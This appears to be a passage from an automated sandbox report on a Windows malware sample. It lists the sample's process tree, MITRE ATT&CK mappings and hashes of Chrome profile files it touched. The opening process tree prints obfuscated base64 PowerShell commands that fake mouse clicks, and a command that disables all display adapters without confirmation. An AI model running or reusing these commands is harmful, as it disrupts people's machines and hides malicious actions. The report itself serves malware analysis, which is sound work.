      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:7048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      PID:8532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5132

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4812

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004D8
1⤵
PID:7656

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -l WATCHDOG WATCHDOG-20260818-1211.dmp
1⤵
PID:8252

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5600

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
PID:8624

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:4572

C:\Windows\system32\control.exe
"C:\Windows\system32\control.exe" /name Microsoft.DeviceManager
1⤵
PID:1476

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:2236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5352

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:1384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 71c56c2da3ffafc58b1f9ac63f15cb6dac4fb1c8a79bff1256051cd303154397
MD5 6cc39d5307f7811ccb8fbf0ae6e905d0
SHA1 6e1f480619352392d31939f7da47f4d0ab05b678
SHA512 e57431313138020cbfad9b542f06329cc5ca06982d0e3aa7b1f35db81bc7c89d945c6de4b0b64332168aac077ed9ce59d0524e723369fe7784fbf6aba95444c1
MD5 SHA1 SHA512

Submit Download

447c15f8-0359-4a56-891b-1f3145e28141.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\447c15f8-0359-4a56-891b-1f3145e28141.tmp
Size 12KB
SHA256 fe1329debe2e23b68fdfa29b6456ddf28880f697759c33af560acbb90a93daa5
MD5 54aecd701f0a3ddf7852cb8f5688a990
SHA1 c1d760bb2b3f4aced27fd929c3347f2855e9baf8
SHA512 98902d25dbcbcb83ed8cb4350d540dd82c1891e611212e794a185a68c60ef84d485b4f144504c3eb6c2ebf8b01c500651b86493892389cdc4cf922311ec703c8
SSDEEP 192:+RmedYrAOv7iv6PRprNu9rHsb+WNnU+z9ae0leXPbJVyIsnAUgE:+Rmedzqm0Xo5wdEe5DvE
TLSH
T1B642B72EB91139779DDAD229F9217B63E7F5112221E42E84EBFC892C14EB6CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7183a6d5-7911-40ff-9520-7e106dbdf7e6.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\7183a6d5-7911-40ff-9520-7e106dbdf7e6.tmp
Size 11KB
SHA256 9e5a183d801398810497bc3a9836c09f0c019fc1446d8e03bff3f0771b139a08
MD5 2a06ddfddce85d7c369b1ebcaaab5bbd
SHA1 793ded34652d3bcd3eb121a6fc728534241030dc
SHA512 8affdfb0fdad51e24fc48429dfd57fab130e0a5abbea270637ac9c80eea416d08a35f6607bbd8dfbd1b238658d06e57c8da2091bf4004242f570e5e19f43de91
SSDEEP 192:e6F4K6Em7KxkXqK4I40pUZNCgVLHrKHfFKslEVSsXzKD/Li+ErUkKN9A+2naDTe4:vFjzm7KxkXqKf/pUZNCgVLH2Hfgsllsw
TLSH
T1D232F927944E5E7F4FD8D51CDC526B8BACF5428673780D2892FBAD0803A97CA114A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000003

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000003
Size 62KB
SHA256 e96962c7df63a9fbe00dddda6e5360d639e7b25498fef7400fe0333fa5311294
MD5 5bbcb2d4f3b68ad1969574166cbf7210
SHA1 c1659c4e5b88de42858857ebffd3accaa360b02e
SHA512 71f65503cd3f12f908644cc2fecc7b5e833724c93107962935a74eef4d8eab2806200cf291d366c646f5d0f881e27f9252b7c1a39050eaf4388c7ec474ddca74
SSDEEP 768:GlmILj20bh/Jhu51KNCCcwgjjp1X3xRTFo8OmY1gqNjbBSxY45QY6FP5vv2Mvc/r:Gt7/ju35wgjjLrrqdb4xn5Vs57vcV+FY
TLSH
T1B553020A009EC47EE703DDA03087145E5FA508BAEFF5E3B9B012597B82667DAD75806E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

021a10e9332de6c4_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\021a10e9332de6c4_0
Size 51KB
SHA256 04830010680725f63dca51c3f5beec98e1cc4602c6783c99f3fdd47e778f9a7a
MD5 84f6047867e9a8f54c9ff3a02f9ca821
SHA1 a6878e3a10e4062e1128a5b8ca50b3e9b721cb9d
SHA512 ac0b2d86e1caecd04e6e0a47eab80f28093d7201956fed8d879d0d9ddcc64f5eeed6470f453c3c4045ea6daefcb778c11d58461f2b419ab9cb92580660ccbaf9
SSDEEP 768:wZelqEWSWBY6Vp4lSlYUmVvrFk+56ZQClyGX3wYJ53/FDyF2gdb9r27/ikE:JlqjCwSltphFkC6ZnPHwoR49hre/ih
TLSH
T1D33308856B50B92ACE3703F94263866EB37A40C93FC3E31B219793710C917E799D994B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

648511f623710a41_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\648511f623710a41_0
Size 309B
SHA256 c81cb9aa93d211e32f4abd8a7dcd3f58e45b642497e583ef084fa0c558572764
MD5 62dcb28812bf9fa71a9dd69a6191c363
SHA1 104cc90423af90c0fd4a002469b6c1ae3ee66568
SHA512 fa5be9cf89360441aff66af52ffb7f04c02bc034705ea91312aaf3d6ba35686922f66197cc3dca6f5cb85245066b8d9609c3106211bee1e1464b48f7e884b1b2
TLSH
T1A2E0E75304404B28F93D17F5DD5B22E4F6532024041DD0D5C227F59F1CC01B0E944131
MD5 SHA1 SHA512 TLSH

Submit Download

648511f623710a41_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\648511f623710a41_0
Size 309B
SHA256 6cfb2e192f6c83ab3ad6f080c78151aa4c84104256ecd1ca99c0569a1bc30e20
MD5 d22be0ff0d229273229460bfc4e429aa
SHA1 b19f526027e5ee392dceab534ea67d89d7188568
SHA512 4a1a8041820f1341e01d9bbb2104f7eaaca648e99ba8ebbe97b32a12ff79505275d34f04e62999d0fc8e89c31ae7369942d95e2c21044e4af2af711216bfe48a
TLSH
T14AE0EB6788100704E63B66FEEEF202C67B824058000CE0FFC25BEB2704909B1DE78214
MD5 SHA1 SHA512 TLSH

Submit Download

b82ff74006c09c01_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\b82ff74006c09c01_0
Size 51KB
SHA256 f4e47c55b128b3052a4a8e6ee38ee90a4061df7dd1dea78e824c5375c0bb45f2
MD5 9f0576d938ad6464c313648e287d624d
SHA1 792d1f3f493d0f34ebd8bb9af329abf7c10ac4b9
SHA512 f7c5eace0f7db0549e348376e0af39d6053967b3b6732a7262dda86e503d7d45f8635d176dca32f0dfa80e72a1ece6e840342a719d58aa83c7d6fa5e45a52b18
SSDEEP 768:delqEWSWBY6Vpl4InqxbH9N1GopUUdTxx3ooCMc1fgqbZ9deQMM:glqjCwP43bv1G4UixlofMcBV9zM
TLSH
T14233F8852B51B82ACE3703FA4263866E737A44C83FC3E31B259753751CA17E799C990B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 67e67cc7d511a3ce8f640e95fee849ec1ec6ae8cea6f7c247d5ef7ae5fd2dda3
MD5 0a5e890ca38938688a83c4f0008254f4
SHA1 619d9c9ecf4fadda6eca5e3ccaa9a0770c96416b
SHA512 ceed93b780a37df9ffbe5c601e4587e34b5472cf52138965f4ef763ca8978d7015f2f8be5d7b9a35998c17c83ce69f846a882d98f2560f64596bed791ad2ae52
TLSH
T1ECC08C1838910044CFC0B63432632C9062038EE78CA012E376D85EF280E33F02686856
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 3641f36427ebca67aa2ca6aa73dfcf09f0cf9bcae7057156f270be78e75cace4
MD5 1fb90f8392c2415dd0f6b43f126b437e
SHA1 553546bc1dc274464035c627289aa1707f64f27c
SHA512 c8beeb8a0943775979e69439a3128003715f0bcd37abd96c0c46200aff556c4af8c902cd782a7ee3258be6cdb54d6759a190d68a17c6c068ec52e64b2941314b
TLSH
T1ACC08C0479900040CFC0B67432972890A2138EA2CCA10AE336986EE288E33F05582896
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 264B
SHA256 a11faaca69c78e3500ae3dd81c4c41f18adf06c094227a7f32e2ec56220fc9cb
MD5 28f89059ca1d50c77b963b9c9fa11fd9
SHA1 316e8c1bc87d0b744e434a2632394b72d138fab7
SHA512 289e2b209080580155a00873a074ac5e04d9b512b7041760b9e4d0781b18077af0524eb19586719fa7dc6098b4ad0ff7198a9983e0b860e16f36b9c3371a674b
TLSH
T159D02345F2814084DFC0A13435177D5C93039C96C86103E3395D9DD384D32F454CAC66
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 240B
SHA256 ebd20d14307056acb74bca5307227dbf9eb43278fb7911f74212bcf7c2a1fe57
MD5 9892c6cb19b7c68161bfc3afab2d76ea
SHA1 e7b1133619a74e318da9ed525b0d6038057595dd
SHA512 d352d6f1c3a24a6edb83df2fcb580c54689d142d2b042aeb3b49e1425cd9144bfc01160c77b9c83c52ad25d675a4a0448aa8a4a651cf4e4e8d34566b5bcc824a
TLSH
T1A9D02204B5850008CFC0A130261B3C40A2038D92C9A001E772980DE280D33FC68CA88B
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 5e13efa319ec26592fb857fb083a7dac663d21b191ffe22fce91bbc365c54e36
MD5 dea3704f4e9eb9dc2c72d6d56d3aedf4
SHA1 9253027f5b958b5fea9e77766829020d3d4d4c74
SHA512 40b6e03b88652e7fefd07411bd9d31c72e4d1a0b3c6e78bf2a9a2aed797f63ea1f9586722135264bc95671783af065f1085b58f3c98ffe195b835c22e38a224b
TLSH
T1AD316CF793E4C67E8A1156F4AA156E1BCE690518032C386ACAE5AF1B93E24B1E11074F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 6982b3062e8b0218ffc23cc7f60d1aa9a5f4714fb03716534fdf3940944d4a10
MD5 90e3693ca8cf14445f15972438ae0608
SHA1 13ff54380f673e3005d5e9f69d4b264b5e8c6a3b
SHA512 db9ff3f937b2cf7e92d9166606b9052067cbf1f510869d1fd23299debc1051fa13d24ab00cbef5a093c99969695bffefa7b1c2ea78d88edf2af99b8f715f49e1
TLSH
T165418BF7C3E4867D891146F4AA156E1BCE6A0628032C3C66C9E5AF1B93E28B1D11478E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

ce45a9c2-99a4-4064-acd2-cc6887545a34.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\ce45a9c2-99a4-4064-acd2-cc6887545a34.tmp
Size 356B
SHA256 1d2b81807dffdd3f3092bef419918059fb9d4e4da9f5c90d77cc4be3a0dd2bf9
MD5 5ba90a462297836777f53ef0d75aad1c
SHA1 8c0ac8e9dea7b70e8859cbe3e8904958be850c64
SHA512 8f8f880aeae48411743af1347c239a464ea5d6602a224587dbf581d0edda135f7fa6ce5a6f9b38190b318db095b4545c3debc7e34ebf3ac1c46494c5e126e7db
TLSH
T18FE026679A6E71B701B908AFBE057C0579B1B832198118E0CB6A436EE089DF75B01807
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 f1e490a537a68e02624e1e8c4a5d977075e6a6a19e09a84247413d8fa3f61475
MD5 b36026fad1bbe473633180db69e19045
SHA1 3bb97ae30e38af2c7f2e2cb259d2960e56a67724
SHA512 00e0a8d6f0ef7ae34fe175808490cf059b8b7a0050dd5a6974eee09c244430e505d2feedcbddfc869d9f98bb7df34cbcb8bdabc42264fc980028359b1e89aff3
SSDEEP 192:+R/dYrAldv7iv6PRprNv9rHsb+WNnU+z9ae0leXPbJVyIsnAUgE:+R/dzTm0Xt5wdEe5DvE
TLSH
T19F42B82EB91139779DDBD229F9217B63E7F5112121E42E84EBFC892C14EB6CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 a77b963f4985d94fd7215467f9744c92bcbe3d42708fc6e528ff2bb71588b226
MD5 5ed6879d778c347494596600bb9bc35e
SHA1 498a3dcf83af094c903de9256e589f89339e4037
SHA512 d3015d0cf0c2436769a04f463e7eb210095f74b341e588c7000b5674bee6f0ac5c7075d5a69bbc0941b1784eed98152a6c1f00393613836e677bce9087e3c2f0
SSDEEP 192:+RidYrjOv7iv6PRprNu9rHsb+WNnU+z9ae0leXPbJVyIsnAUge:+RidQqm0Xo5wdEe5Dve
TLSH
T1F842B72EB91139779CDBD229F9617B63E7F5112121E42E84EBFC892C14EB6CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 5e01f0635e7cbeb7a51a63aa51561ed1b637469d3ca09904d2749a1525357c7e
MD5 a6ca47b699ce183f7f2ff508b4341a25
SHA1 35c8a0253fbceec319ac72dd7c7703a9996c10bf
SHA512 96fc09943661e537cbf4692317d8127c18cf66e8d907f347be37e0178c1b8dbdecb0f8fe947d4b343b7dfe34160b0f5fe93187d142449d210918a800d20ee453
SSDEEP 192:+RTdYrWTv7iv6PRprNu9rHsb+WNnU+zk7YNleXPbJVyIsnAUgR:+RTdZrm0Xo5wdwYKDvR
TLSH
T1CB42A62AA9113D779DDBD229F9217B63E7F5112221E42E84EBFC892C14E76CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 f1bc3044f7a80098524601dc5154559f435002065683b5799791ac756b71a606
MD5 66a239d3777453376dd12f75cbd57fac
SHA1 e7faa6251b7922726a688c2cab1fe03183285b05
SHA512 c8dcd7151b1f18844b8cd8eda108b1ff40ddc44b6b2a0e868e3114cf8eea5f589d692771cf24399d182cc60becc996bfb3519067389cd45e28ba2d2f6e63ed1e
SSDEEP 192:+RbdYrWTv7ivAPRp2cO9rHsb+WNnU+z7sWHleXPDJVyIsnAUgR:+RbdZrm6Xe5wdkWMLvR
TLSH
T1DD32B72AA9113D779DDBD229F9217B63E7F6112231D42E84EBFC892C10E76CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 a249ccebbfd4faa4cca91154d328b6d6a8ce97153b651256740680c5f8d4f5b4
MD5 13bc6c76d82ea62d2b3568109ee3903c
SHA1 96e2c67dd5a5941e34a414eee4cc5008c9823ea7
SHA512 19433282c77aa677d78e1381b24342233e44e30e5a4ba3531f933ffc6a08686047428e01053c353e0750877228ed552138d4a59b198bc313f019c707d7114860
SSDEEP 192:+RYdYr+Tv7iv6PRprNu9rHsb+WNnU+z9ae0leXPbJVyIsnAUgR:+RYdJrm0Xo5wdEe5DvR
TLSH
T15A42B62AB9113D779DDBD229F9217B63E7F5112221E42E84EBFC892C14E76CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 4773c7689a075c58706b7d46274d39ce7bc881b232b3ea8b29b00b697a64184f
MD5 0d76cf1522c99838af9cfde49e7162e2
SHA1 b36af3c47eb2d7f713b7527f10f496a85875b691
SHA512 438bfb19899d90354e1872f02fecead10138d47d9083152dfc8504b7ac72ae1a0e5c8e0a1e88f7f209a001fe505ede3533fa64ab294b75f3d1fde2b4e98b4f88
SSDEEP 192:+RrdYrAMv7iv6PRprNv9rHsb+WNnU+z5fOcleXPbJVyIsnAUgE:+RrdzYm0Xt5wdZOxDvE
TLSH
T1DC42C82EB91139779DDBD229F9217B63E7F5212121E42E84EBFC892C14E76CC221B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 e630b9142400c88f7137dd1fa5ca6f50ab07ebf6e0fc64032d2e1e86a1234806
MD5 026ac28885dd50577fc16afff1f62246
SHA1 e87d3c2f2e3e1ad3db7e3ac73f953796111f66ef
SHA512 f168fc89bbe7e3ad048d53f7707051b8eb5ee74e31470a037a8b86fee64a9e08fa504c0e4a96ed08617f5acc1a6f108896698e90513de0a869e5a66921200f42
SSDEEP 192:+R4dYrWTv7iv6PRprNu9rHsb+WNnU+zk7YNleXPbJVyIsnAUgR:+R4dZrm0Xo5wdwYKDvR
TLSH
T18842A62EA9113D779DDBD229F9217B63E7F5112221E42E84EBFC892C14E76CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 c13c6516099fb5c1dc3be1565c2fa304615d82c6038e5d85bfb582ce46a46e95
MD5 b63cc2f120a9c2515b78c98751b0fc1e
SHA1 8ede9133438270bb83745a91385563ad2ecc7423
SHA512 1674b9965c48c95553db3354ff0b72effe2749d1f7963e6f5cf96cf2fca6f0cfaf2789389042958d0207aef1eaa69c826a89946d06cb84e1da48b8fbc9a4758f
SSDEEP 192:+RRdYrAMv7iv6PRprNv9rHsb+WNnU+zZ/I4leXPbJVyIsnAUgE:+RRdzYm0Xt5wd1IFDvE
TLSH
T12342B82EB91139779DDBD229F9217B63E7F5212221E42E84EBFC892C14E76CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 9fb437cf1fab554bbba027b3d0de96b17eaf5b17029feedfa29493cb8dee48f3
MD5 79aae08d7c12292f0fb682643d9cd6cc
SHA1 8302aeefcefd2a4a02d42938ffd4fe73b18f81c5
SHA512 e34b912b3e4161a3796e70e19174b7f6fe92d05d03ea5e0b5e1f42df16c8b4293f4ffd4a232aa9bd94cde4dc685f89d62afc70c22d6e4257ecc0f9aa3b1f22d1
SSDEEP 192:+RTdYrWTv7ivAPRp2cu9rHsb+WNnU+zk7YKleXPDJVyIsnAUgR:+RTdZrm6X+5wdwY3LvR
TLSH
T17632B72AA911397B9DDBD229F9217763E7F6112231D42E84EBFC892C14E76CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 00ed447c9715fce358df16091046245b9bf95af763d81c365dfa0de042a1f06c
MD5 42d4223634ad0c369e0e3e10ee6d3384
SHA1 d90fae15963005845ad94984f515d412d5070bc1
SHA512 3061c5162d44d3e1158b74f5f1fe6c67099bb9f505a4ac7fabe0dfd829b462785cacc291f80b266dc0b7e4f29e46636640b4cadfb9e68c6b24a89711e14d2278
SSDEEP 3072:Mlycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKZ:MP461bZ9wg20MtriHc26
TLSH
T1B1D3129164BC59B11BD4836CF7B21C023EFAD1CB640C79FD66EB536B69D4EA80612C83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 cea726ce7d60f8c0542be2624eb1a70f1cb3f04fbd2220919345f553beb60a5c
